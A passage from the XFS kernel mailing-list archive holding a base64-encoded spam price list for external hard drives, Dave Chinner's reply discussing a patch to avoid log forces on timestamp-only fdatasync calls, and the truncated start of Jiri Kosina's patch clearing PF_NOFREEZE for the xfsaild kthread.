Pg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlRvc2hpYmEmbmJz cDtjYW52aW8mbmJzcDtTTElN77yIMVRC77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpF OiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046 IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bh bj01PjFUQiZuYnNwOyZuYnNwOzIuNSImbmJzcDsmbmJzcDtVU0IzLjAvMi4wPC9URD4NCjxU RCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0 OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5 IHdpZHRoPTcyPiQyNiZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9NDMyIGNvbFNwYW49Nj5TZWFnYXRlJm5ic3A7QmFja3VwJm5ic3A7UGx1cyZuYnNwOzIu NSLvvIgyVELvvIk8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjog cmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+MlRCJm5ic3A7Jm5i c3A7Mi41IiZuYnNwOyZuYnNwO1VTQjMuMC8yLjA8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdO OiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDMyJm5i c3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAx MXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1p ZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02 PldEJm5ic3A7TXkmbmJzcDtQYXNzcG9ydCZuYnNwO1VsdHJhJm5ic3A7MlRCPC9URD4NCjxU RCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBw dDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0x OSB3aWR0aD0zNjAgY29sU3Bhbj01PjJUQiZuYnNwOyZuYnNwOzIuNSImbmJzcDsmbmJzcDtV U0IzLjAvMi4wPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0 LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdi KDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQzMiZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBo ZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0 OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCww LDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5Ub3NoaWJhJm5ic3A7Y2Fudmlv Jm5ic3A7U0xJTe+8iDJUQu+8iTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4yVEIm bmJzcDsmbmJzcDsyLjUiJm5ic3A7Jm5ic3A7VVNCMy4wLzIuMDwvVEQ+DQo8VEQgc3R5bGU9 IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElD QUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03 Mj4kNDAmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05U LVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1B TElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBj b2xTcGFuPTY+U2VhZ2F0ZSZuYnNwO0JhY2t1cCZuYnNwO1BsdXMmbmJzcDtGYXN077yINFRC 77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7 IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAs MCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjRUQiZuYnNwOyZuYnNwOzIuNSIm bmJzcDsmbmJzcDtVU0IzLjAvMi4wPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxl OyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQ0OCZuYnNwOzwvVEQ+ PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJ R0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5XRCZuYnNw O015Jm5ic3A7UGFzc3BvcnQmbmJzcDtVbHRyYSZuYnNwO21lbnRhbCZuYnNwOzFUQjwvVEQ+ DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDog MjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xVEImbmJzcDsmbmJzcDszLjUiJm5ic3A7Jm5i c3A7VVNCMy4wLzIuMDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hU OiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMjgmbmJzcDs8L1REPjwvVFI+DQo8 VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQu MjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdi KDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+U2VhZ2F0ZSZuYnNwO0V4 cGFuc2lvbiZuYnNwOyZuYnNwOzMuNSLvvIgyVELvvIk8L1REPg0KPFREIHN0eWxlPSJGT05U LVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1B TElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBj b2xTcGFuPTU+MlRCJm5ic3A7Jm5ic3A7My41IiZuYnNwOyZuYnNwO1VTQjMuMC8yLjA8L1RE Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9NzI+JDI3Jm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxU RCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRw dDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0x OSB3aWR0aD00MzIgY29sU3Bhbj02PldEJm5ic3A7TXkmbmJzcDtCb29rJm5ic3A7RXNzZW50 aWFsJm5ic3A7MlRCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjJUQiZuYnNwOyZu YnNwOzMuNSImbmJzcDsmbmJzcDtVU0IzLjAvMi4wPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyOCZu YnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49 Nj5TZWFnYXRlJm5ic3A7RXhwYW5zaW9uJm5ic3A7Jm5ic3A7My41Iu+8iDNUQu+8iTwvVEQ+ DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDog MjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4zVEImbmJzcDsmbmJzcDszLjUiJm5ic3A7Jm5i c3A7VVNCMy4wLzIuMDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hU OiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kMzQmbmJzcDs8L1REPjwvVFI+DQo8 VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQu MjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdi KDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+V0QmbmJzcDtNeSZuYnNw O0Jvb2smbmJzcDtFc3NlbnRpYWwmbmJzcDszVEI8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xT cGFuPTU+M1RCJm5ic3A7Jm5ic3A7My41IiZuYnNwOyZuYnNwO1VTQjMuMC8yLjA8L1REPg0K PFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0 cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9 MTkgd2lkdGg9NzI+JDM1Jm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBz dHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsg VkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3 aWR0aD00MzIgY29sU3Bhbj02PlNlYWdhdGUmbmJzcDtFeHBhbnNpb24mbmJzcDsmbmJzcDsz LjUi77yINFRC77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6 IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6 IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjRUQiZuYnNwOyZu YnNwOzMuNSImbmJzcDsmbmJzcDtVU0IzLjAvMi4wPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQzOCZu YnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49 Nj5XRCZuYnNwO015Jm5ic3A7Qm9vayZuYnNwO1RodW5kZXJib2x0Jm5ic3A7RHVvJm5ic3A7 NFRCPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7 IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAs MCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PjRUQiZuYnNwOyZuYnNwOzMuNSIm bmJzcDsmbmJzcDtUaHVuZGVyYm9sdDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFw dDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kNzAmbmJzcDs8L1RE PjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhF SUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+V0QmbmJz cDtNeSZuYnNwO0Jvb2smbmJzcDtUaHVuZGVyYm9sdCZuYnNwO0R1byZuYnNwOzZUQjwvVEQ+ DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDog MjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT42VEImbmJzcDsmbmJzcDszLjUiJm5ic3A7Jm5i c3A7VGh1bmRlcmJvbHQ8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdI VDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9S OiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDkwJm5ic3A7PC9URD48L1RSPg0K PFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0 LjI1cHQ7IFdJRFRIOiA2NDhwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJn YigyNTUsMCwwKTsgRk9OVC1TVFlMRTogaXRhbGljIiBoZWlnaHQ9MTkgd2lkdGg9ODY0IGNv bFNwYW49MTI+V2lybGVzcyZuYnNwO0hhcmQmbmJzcDtEaXNrJm5ic3A7RHJpdmUvSEREPC9U RD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsg Q09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlNlYWdh dGUmbmJzcDtXaXJlbGVzcyZuYnNwO1BsdXMmbmJzcDsyLjUi77yIMVRC77yJPC9URD4NCjxU RCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBw dDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0x OSB3aWR0aD0zNjAgY29sU3Bhbj01PjFUQiZuYnNwOyZuYnNwOzIuNSImbmJzcDsmbmJzcDtV U0IzLjAvV2lyZWxlc3M8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdI VDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9S OiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDM1PC9URD48L1RSPg0KPFRSIGhl aWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7 IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAs MCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlNlYWdhdGUmbmJzcDtXaXJlbGVz cyZuYnNwO1BsdXMmbmJzcDsyLjUi77yIMlRC77yJPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29s U3Bhbj01PjJUQiZuYnNwOyZuYnNwOzIuNSImbmJzcDsmbmJzcDtVU0IzLjAvV2lyZWxlc3M8 L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBo ZWlnaHQ9MTkgd2lkdGg9NzI+JDQwJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4N CjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAz MjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdo dD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTog MTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBt aWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49 NT48L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsg V0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9NzI+PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBz dHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA2NDhwdDsg VkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3 aWR0aD04NjQgY29sU3Bhbj0xMj5UaGUmbmJzcDtCZXN0Jm5ic3A7UHJpY2UmbmJzcDthbmQm bmJzcDtRdWFsaXR5Jm5ic3A7YWx3YXlzJm5ic3A7d2luJm5ic3A7dGhlJm5ic3A7bWFya2V0 ISZuYnNwO1RoYW5rJm5ic3A7eW91Jm5ic3A7Zm9yJm5ic3A7eW91ciZuYnNwO3ByZWNpb3Vz Jm5ic3A7dGltZSZuYnNwO2luJm5ic3A7bG9va2luZyZuYnNwO3Rocm91Z2gmbmJzcDtvdXIm bmJzcDtwcm9kdWN0cyZuYnNwOyZhbXA7Jm5ic3A7cHJpY2UmbmJzcDtsaXN0LjwvVEQ+PC9U Uj48L1RCT0RZPjwvVEFCTEU+ ----boundary_24240_53fd055d-c83e-45ce-91f5-1f94ea90d275-- From david@fromorbit.com Mon Oct 26 00:08:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B8F217F4E for ; Mon, 26 Oct 2015 00:08:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8DC25304032 for ; Sun, 25 Oct 2015 22:07:58 -0700 (PDT) X-ASG-Debug-ID: 1445836070-04bdf0330984330001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 15YmFUn7TJifzCnm for ; Sun, 25 Oct 2015 22:07:51 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 26 Oct 2015 15:37:23 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zqa08-0000zM-8v; Mon, 26 Oct 2015 16:07:20 +1100 Date: Mon, 26 Oct 2015 16:07:20 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com, sage@redhat.com Subject: Re: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync Message-ID: <20151026050720.GG8773@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync References: <1445396343-4361-1-git-send-email-david@fromorbit.com> <20151022173618.GC13661@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151022173618.GC13661@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445836070 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23818 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 22, 2015 at 01:36:19PM -0400, Brian Foster wrote: > On Wed, Oct 21, 2015 at 01:59:03PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > xfs: timestamp updates cause excessive fdatasync log traffic .... > > +++ b/fs/xfs/xfs_file.c > > @@ -248,8 +248,10 @@ xfs_file_fsync( > > xfs_ilock(ip, XFS_ILOCK_SHARED); > > if (xfs_ipincount(ip)) { > > if (!datasync || > > - (ip->i_itemp->ili_fields & ~XFS_ILOG_TIMESTAMP)) > > + (ip->i_itemp->ili_fsync_fields & ~XFS_ILOG_TIMESTAMP)) { > > lsn = ip->i_itemp->ili_last_lsn; > > + ip->i_itemp->ili_fsync_fields = 0; > > + } > > Ok, so we check what's been logged since the last fsync that forced the > log. If anything other than the timestamp has been logged, we force the > log and clear the fields. Seems like a reasonable optimization to me. > > One question... is it safe to clear the ili_fsync fields here if we have > parallel fsync()/fdatasync() calls coming in? This is under the shared > ilock, so assume that one fsync() comes in and finds non-timestamp > changes to flush. It grabs the lsn, clears the flags and calls the log > force. If an fdatasync() comes in before the log force completes, > shouldn't it wait? Probably, but the only way to do that is to run a log force on that same lsn. Actually, it is safe to do that log force while holding the XFS_ILOCK (xfs_trans_commit() does that for synchronous transactions), so we should simply be able to do: xfs_ilock(ip, XFS_ILOCK_SHARED); if (xfs_ipincount(ip)) { if (!datasync || (ip->i_itemp->ili_fsync_fields & ~XFS_ILOG_TIMESTAMP)) lsn = ip->i_itemp->ili_last_lsn; } if (lsn) { error = _xfs_log_force_lsn(mp, lsn, XFS_LOG_SYNC, &log_flushed); ip->i_itemp->ili_fsync_fields = 0; } xfs_iunlock(ip, XFS_ILOCK_SHARED); > Also, is it me or are we sending an unconditional flush in the hunk > following the log force call in xfs_file_fsync() (even if we've skipped > the log force)? The flush is needed - fdatasync needs to guarantee the data is on stable storage even if no metadata needs to be written to the journal. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jikos@kernel.org Mon Oct 26 01:53:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=HDRS_LCASE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2E8817F67 for ; Mon, 26 Oct 2015 01:53:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1704AC002 for ; Sun, 25 Oct 2015 23:53:42 -0700 (PDT) X-ASG-Debug-ID: 1445842419-04cb6c7b8579740001-NocioJ Received: from mx2.suse.de (mx2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id ORKbvqge6sbhhmE5 (version=TLSv1 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 25 Oct 2015 23:53:40 -0700 (PDT) X-Barracuda-Envelope-From: jikos@kernel.org X-Barracuda-Apparent-Source-IP: 195.135.220.15 X-Virus-Scanned: by amavisd-new at test-mx.suse.de Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 69C08AC6A; Mon, 26 Oct 2015 06:53:23 +0000 (UTC) Date: Mon, 26 Oct 2015 15:53:40 +0900 (KST) From: Jiri Kosina X-X-Sender: jkosina@pobox.suse.cz To: Dave Chinner , Christoph Hellwig cc: xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [PATCH] xfs: clear PF_NOFREEZE for xfsaild kthread Message-ID: X-ASG-Orig-Subj: [PATCH] xfs: clear PF_NOFREEZE for xfsaild kthread User-Agent: Alpine 2.00 (LNX 